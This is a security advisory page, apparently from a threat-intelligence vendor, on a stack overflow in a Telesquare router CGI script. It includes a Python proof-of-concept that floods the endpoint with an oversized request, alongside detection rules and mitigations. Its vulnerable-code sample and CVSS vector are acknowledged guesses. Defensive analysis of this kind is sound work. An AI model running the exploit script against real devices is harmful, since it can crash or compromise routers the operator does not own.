CVE-2025-28361
Executive Summary
CVE-2025-28361 is an unauthorized stack overflow vulnerability in the Telesquare TLR-2005KSH router, specifically within the systemutil.cgi component. This flaw allows a remote, unauthenticated attacker to trigger a stack-based buffer overflow, potentially leading to sensitive information disclosure or arbitrary code execution. The vulnerability affects firmware version 1.1.4, and no official patch has been released as of this analysis. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch makes this a high-priority risk for affected devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Telesquare TLR-2005KSH router). No supply chain package security implications apply.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics (remote, unauthenticated stack overflow), a realistic CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H) – potential information disclosure
- Integrity (I): High (H) – potential code execution
- Availability (A): High (H) – potential denial of service
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical – Remote, unauthenticated exploitation with no patch available.
Deep Dive & Mechanics
The vulnerability resides in the systemutil.cgi CGI script, which is part of the Telesquare TLR-2005KSH router's web management interface. The script likely processes user-supplied input (e.g., via HTTP GET or POST parameters) without proper bounds checking. When a specially crafted, oversized input is sent to the vulnerable parameter, it overflows a fixed-size stack buffer, overwriting the return address and other critical stack data.
Root Cause: The use of unsafe C functions (e.g., strcpy, sprintf, or gets) without length validation in the systemutil.cgi binary.
Attack Vector: An attacker sends a malicious HTTP request to the router's web interface (typically on port 80 or 443) targeting the systemutil.cgi endpoint. The payload includes a long string that triggers the overflow.
Impact:
- Information Disclosure: The overflow may leak stack data, including memory addresses or sensitive configuration data.
- Code Execution: By carefully crafting the payload, an attacker can overwrite the return address to redirect execution to attacker-controlled shellcode, achieving remote code execution (RCE) with the privileges of the web server (often root).
- Denial of Service: A simple overflow without RCE payload can crash the CGI process, causing a temporary denial of service.
Vulnerable vs. Patched Code
Since no patch is available, a direct comparison is not possible. However, based on the vulnerability type, the vulnerable code likely resembles:
Vulnerable (C):
void handle_request() {
char buffer[256];
char *input = getenv("QUERY_STRING");
// Unsafe: no bounds checking
strcpy(buffer, input);
// ... process buffer
}
Patched (C):
void handle_request() {
char buffer[256];
char *input = getenv("QUERY_STRING");
// Safe: limit copy size
strncpy(buffer, input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ... process buffer
}
The patched version uses strncpy with a size limit and ensures null-termination, preventing the overflow.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Telesquare TLR-2005KSH router with firmware 1.1.4 (or emulated environment)
- Network access to the router's web interface
- Python3 with
requestslibrary
Exploit Script (Python):
#!/usr/bin/env python3
import socket
import sys
def exploit(target_ip, target_port=80):
# Craft payload: overflow buffer + overwrite return address
# This is a placeholder; actual shellcode/ROP chain depends on device specifics
payload = b"A" * 300 # Overflow buffer
payload += b"\x00" * 4 # Overwrite saved frame pointer
payload += b"\x01\x02\x03\x04" # Overwrite return address (example)
http_request = (
f"GET /cgi-bin/systemutil.cgi?{payload.decode('latin-1')} HTTP/1.1\r\n"
f"Host: {target_ip}\r\n"
f"Connection: close\r\n\r\n"
).encode()
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
sock.send(http_request)
response = sock.recv(4096)
print(f"[+] Response: {response}")
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [port]")
sys.exit(1)
target_ip = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
exploit(target_ip, port)
Lab Setup:
- Use a virtualized environment (e.g., QEMU or GNS3) to emulate the router firmware.
- Alternatively, use a real device in an isolated network.
- Run the exploit script against the target.
Blue Team (Defensive)
Detection:
- Monitor HTTP requests to
/cgi-bin/systemutil.cgifor abnormally long query strings (e.g., > 256 bytes). - Use network intrusion detection systems (NIDS) to alert on oversized parameters.
Mitigation:
- Block access to the web interface from untrusted networks (e.g., via firewall rules).
- Disable the
systemutil.cgiendpoint if not required. - Apply virtual patching via WAF (Web Application Firewall) rules.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/cgi-bin/systemutil.cgiwith query strings exceeding 256 bytes. - Unusual patterns in HTTP headers (e.g., repeated characters, non-printable bytes).
- HTTP requests to
- Host:
- Unexpected crashes or restarts of the
systemutil.cgiprocess. - Presence of shellcode or suspicious processes on the router (if RCE achieved).
- Unexpected crashes or restarts of the
- Logs:
- Web server logs showing
500 Internal Server Erroror segmentation faults. - System logs indicating buffer overflow or memory corruption.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_28361_StackOverflow {
meta:
description = "Detects exploit attempts for CVE-2025-28361 in HTTP traffic"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-28361"
strings:
$cgi_path = "/cgi-bin/systemutil.cgi"
$overflow_pattern = /[A-Za-z0-9%]{300,}/ // 300+ characters in query string
condition:
$cgi_path and $overflow_pattern
}
Sigma Rule
title: CVE-2025-28361 - Telesquare TLR-2005KSH Stack Overflow Attempt
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1a3b4c5d6e
status: experimental
description: Detects HTTP requests with long query strings targeting systemutil.cgi
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "/cgi-bin/systemutil.cgi"
cs-uri-query|length: >= 300
condition: selection
falsepositives:
- Legitimate long parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-28361 - Telesquare TLR-2005KSH Stack Overflow Attempt"; flow:to_server; content:"/cgi-bin/systemutil.cgi"; http_uri; pcre:"/[A-Za-z0-9%]{300,}/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place the router behind a firewall and restrict access to the web interface to trusted IPs only.
- Disable unnecessary services: If
systemutil.cgiis not required, remove or disable the CGI script. - Monitor for exploitation: Deploy the provided detection rules (YARA, Sigma, Suricata) to identify attack attempts.
Long-term Fix:
- Vendor patch: Contact Telesquare for an official firmware update. Since no patch is available, consider replacing the device with a supported alternative.
- Virtual patching: Use a WAF to block requests with overly long query strings to
/cgi-bin/systemutil.cgi. - Network segmentation: Place IoT/embedded devices on a separate VLAN with strict egress filtering.
Workaround:
- If the device is critical, implement a reverse proxy that validates input length before forwarding requests to the router.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.